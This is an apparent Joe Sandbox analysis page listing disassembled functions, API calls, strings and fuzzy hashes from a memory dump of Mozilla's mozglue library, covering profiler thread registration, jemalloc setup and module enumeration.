Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

Part of subcall function 6C98B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C98B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9CF739
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CF746
GetCurrentThreadId.KERNEL32 ref: 6C9CF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA0385B,00000002,?,?,?,?,?), ref: 6C9CF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9CF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9CF866
free.MOZGLUE(?), ref: 6C9CFA0C

Part of subcall function 6C995E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9955E1), ref: 6C995E8C
Part of subcall function 6C995E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C995E9D
Part of subcall function 6C995E60: GetCurrentThreadId.KERNEL32 ref: 6C995EAB
Part of subcall function 6C995E60: GetCurrentThreadId.KERNEL32 ref: 6C995EB8
Part of subcall function 6C995E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C995ECF
Part of subcall function 6C995E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C995F27
Part of subcall function 6C995E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C995F47
Part of subcall function 6C995E60: GetCurrentProcess.KERNEL32 ref: 6C995F53
Part of subcall function 6C995E60: GetCurrentThread.KERNEL32 ref: 6C995F5C
Part of subcall function 6C995E60: GetCurrentProcess.KERNEL32 ref: 6C995F66
Part of subcall function 6C995E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C995F7E

free.MOZGLUE(?), ref: 6C9CF9C5
free.MOZGLUE(?), ref: 6C9CF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9CF9A6
" attempted to re-register as ", xrefs: 6C9CF858
Thread , xrefs: 6C9CF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C9CF71F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 7540fd711fe76d25c406c7f048f1fbecbec952fcb2c67363ae0a39ae4e1659a5
Instruction ID: 2b834affcd9035be7c0b1cc98f7390376fc8bbc6b4253736c01546512f101a4b
Opcode Fuzzy Hash: 7540fd711fe76d25c406c7f048f1fbecbec952fcb2c67363ae0a39ae4e1659a5
Instruction Fuzzy Hash: 87811171B01701AFDB009F24C840AAAB7B5FFA534CF55856DE8459BB51EB30D84ACBA3

Function 6C9CEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CEE60
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEE6D
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9CEEA5
CloseHandle.KERNEL32(?), ref: 6C9CEEB4
free.MOZGLUE(00000000), ref: 6C9CEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9CEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CEECF

Part of subcall function 6C9CDE60: GetCurrentThreadId.KERNEL32 ref: 6C9CDE73
Part of subcall function 6C9CDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C994A68), ref: 6C9CDE7B
Part of subcall function 6C9CDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C994A68), ref: 6C9CDEB8
Part of subcall function 6C9CDE60: free.MOZGLUE(00000000,?,6C994A68), ref: 6C9CDEFE
Part of subcall function 6C9CDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9CDF38

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

GetCurrentThreadId.KERNEL32 ref: 6C9CEF1E
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEF2B
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEF59
GetCurrentThreadId.KERNEL32 ref: 6C9CEFB0
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEFBD
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9CEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CF000

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9CF02F

Part of subcall function 6C9CF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9CF09B
Part of subcall function 6C9CF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9CF0AC
Part of subcall function 6C9CF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9CF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C9CEED7
[I %d/%d] profiler_pause, xrefs: 6C9CF008

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 39bfbc706a3f6968ffbf110f4b21609d97f7fa3e78769e5aa22c21eacaa3d206
Instruction ID: 2895d0ce8c2cf073bc1565ce89a404345fd54c74b276351ffc53fa6a1849a155
Opcode Fuzzy Hash: 39bfbc706a3f6968ffbf110f4b21609d97f7fa3e78769e5aa22c21eacaa3d206
Instruction Fuzzy Hash: 2551D4317013129FDB089B64E80979677B8EB563DCF10861DED16A3B40C7768447C7AB

Function 6C9BD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CA0E804), ref: 6C9BD047
GetSystemInfo.KERNEL32(?), ref: 6C9BD093
__Init_thread_footer.LIBCMT ref: 6C9BD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CA0E810,00000040), ref: 6C9BD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E7B8,00001388), ref: 6C9BD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E744,00001388), ref: 6C9BD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E784,00001388), ref: 6C9BD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E7DC,00001388), ref: 6C9BD1B1

Strings

MALLOC_OPTIONS, xrefs: 6C9BD0CB
Compile-time page size does not divide the runtime one., xrefs: 6C9BD26D
<jemalloc>, xrefs: 6C9BD268, 6C9BD311
MOZ_CRASH(), xrefs: 6C9BD277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9BD322

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: f6806bf3a127333713e17904a637fd55bf590ebd2f242083193580f15387a9df
Instruction ID: 1c6546cb466b9d2461060c8e9c468e8ba3a1c524bffee0439dc474097f76cc8c
Opcode Fuzzy Hash: f6806bf3a127333713e17904a637fd55bf590ebd2f242083193580f15387a9df
Instruction Fuzzy Hash: 0A81F071B00342AFEB088F68D954B6A77B8FB1638CF10812DE991A7B84D770D447DB92

Function 6C995E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C995E9D

Part of subcall function 6C9A5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9A56EE,?,00000001), ref: 6C9A5B85
Part of subcall function 6C9A5B50: EnterCriticalSection.KERNEL32(6CA0F688,?,?,?,6C9A56EE,?,00000001), ref: 6C9A5B90
Part of subcall function 6C9A5B50: LeaveCriticalSection.KERNEL32(6CA0F688,?,?,?,6C9A56EE,?,00000001), ref: 6C9A5BD8
Part of subcall function 6C9A5B50: GetTickCount64.KERNEL32 ref: 6C9A5BE4

GetCurrentThreadId.KERNEL32 ref: 6C995EAB
GetCurrentThreadId.KERNEL32 ref: 6C995EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C995ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C996017

Part of subcall function 6C984310: moz_xmalloc.MOZGLUE(00000010,?,6C9842D2), ref: 6C98436A
Part of subcall function 6C984310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9842D2), ref: 6C984387

moz_xmalloc.MOZGLUE(00000004), ref: 6C995F47
GetCurrentProcess.KERNEL32 ref: 6C995F53
GetCurrentThread.KERNEL32 ref: 6C995F5C
GetCurrentProcess.KERNEL32 ref: 6C995F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C995F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C995F27

Part of subcall function 6C99CA10: mozalloc_abort.MOZGLUE(?), ref: 6C99CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9955E1), ref: 6C995E8C

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9955E1), ref: 6C99605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9955E1), ref: 6C9960CC

Strings

GeckoMain, xrefs: 6C995ECE, 6C996015

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 11b90177d6b5fc350bc3dea1ac5905e563cb236451c036e1d8fe426e28130e68
Instruction ID: 131c821236464163bedabb2f9d551283bc960864ae1a7d38bec4c564b5abf1f0
Opcode Fuzzy Hash: 11b90177d6b5fc350bc3dea1ac5905e563cb236451c036e1d8fe426e28130e68
Instruction Fuzzy Hash: F871F3B0605741DFD704DF28C480A6ABBF0FF69348F548A2DE48687B42D731E849CB92

Function 6C999590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9831C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C983217
Part of subcall function 6C9831C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C983236
Part of subcall function 6C9831C0: FreeLibrary.KERNEL32 ref: 6C98324B
Part of subcall function 6C9831C0: __Init_thread_footer.LIBCMT ref: 6C983260
Part of subcall function 6C9831C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C98327F
Part of subcall function 6C9831C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C98328E
Part of subcall function 6C9831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9832AB
Part of subcall function 6C9831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9832D1
Part of subcall function 6C9831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9832E5
Part of subcall function 6C9831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9832F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C999675
__Init_thread_footer.LIBCMT ref: 6C999697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9996E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C999707
__Init_thread_footer.LIBCMT ref: 6C99971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C999773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9997B7
FreeLibrary.KERNEL32 ref: 6C9997D0
FreeLibrary.KERNEL32 ref: 6C9997EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C999824

Strings

ntdll.dll, xrefs: 6C9996E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C999670
NtMapViewOfSection, xrefs: 6C999701
MapViewOfFileNuma2, xrefs: 6C9997B1

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 6603db17843dfb1c16dd3c270f0d6c58295930b28d5b8188f244f314406b392d
Instruction ID: 9506795cc238179583ee8dd28abd154c08f7c8466b0f9e19936c3c2612930bc2
Opcode Fuzzy Hash: 6603db17843dfb1c16dd3c270f0d6c58295930b28d5b8188f244f314406b392d
Instruction Fuzzy Hash: 8561A3717003069FDF048F68EC84A9A7BB4FB4A799F15851DE919A3680D730D856CB92

Function 6C997FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C998007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C99801D

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C99802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C99803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C99808D

Part of subcall function 6C99CA10: mozalloc_abort.MOZGLUE(?), ref: 6C99CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C99809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9980B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9980DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9980ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9980FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C998133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C998149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C998167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C99817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C998199

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: de7d3bdfaeb5eb4e3b0fad879e93766ad75a86dbc52463849218fea61d33d505
Instruction ID: c234a36006fd78c4e733eeec1b2f3cceecac28fdd83133dad3c3cc1ff6221a67
Opcode Fuzzy Hash: de7d3bdfaeb5eb4e3b0fad879e93766ad75a86dbc52463849218fea61d33d505
Instruction Fuzzy Hash: 8851C6B1E00204ABDB14DFA9DC849EFB7BDEF69264F284129E815E7740E730D905CBA5

Function 6C9E6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CA0F618), ref: 6C9E6694
GetThreadId.KERNEL32(?), ref: 6C9E66B1
GetCurrentThreadId.KERNEL32 ref: 6C9E66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9E66E1
EnterCriticalSection.KERNEL32(6CA0F618), ref: 6C9E6734
GetCurrentProcess.KERNEL32 ref: 6C9E673A
LeaveCriticalSection.KERNEL32(6CA0F618), ref: 6C9E676C
GetCurrentThread.KERNEL32 ref: 6C9E67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9E6868
RtlCaptureContext.NTDLL ref: 6C9E687F

Strings

WalkStack64, xrefs: 6C9E6890

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e66423fd230198385c10226e8f17c4096e98125c8f52787971f0f3b067e6123e
Instruction ID: 9ce71b78d6dfe402d180816bb6dc06f995fcd51d507d99c3b3fd3d039260627b
Opcode Fuzzy Hash: e66423fd230198385c10226e8f17c4096e98125c8f52787971f0f3b067e6123e
Instruction Fuzzy Hash: 8B51EF70A09301AFDB16CF25C844B9ABBF4FF99B58F00891DFA9897640D770E506CB92

Function 6C9CDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CDE73
GetCurrentThreadId.KERNEL32 ref: 6C9CDF7D
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CDF8A
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CDFC9
GetCurrentThreadId.KERNEL32 ref: 6C9CDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C994A68), ref: 6C9CDE7B

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C994A68), ref: 6C9CDEB8
free.MOZGLUE(00000000,?,6C994A68), ref: 6C9CDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9CDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C9CDE83
<none>, xrefs: 6C9CDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9CE00E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2cc7adf7e41f3e8aa29284398605ac86c01b7ae42ff5bfd5df364531e8d9e90c
Instruction ID: d0d315c35b854a4bba2491cbe158b7ea2a740675e9e8752799f3ce0dc66f1b76
Opcode Fuzzy Hash: 2cc7adf7e41f3e8aa29284398605ac86c01b7ae42ff5bfd5df364531e8d9e90c
Instruction Fuzzy Hash: CA4103327022129FDB189B64D8447AAB779FB5638CF10811DED05A7B01CB31D817CBA7

Function 6C9DD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9DD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9DD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9DD52A
GetCurrentThreadId.KERNEL32 ref: 6C9DD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9DD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9DD55F
free.MOZGLUE(00000000), ref: 6C9DD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9DD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9DD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9DD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9DD652
GetCurrentThreadId.KERNEL32 ref: 6C9DD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9DD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9DD6A2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

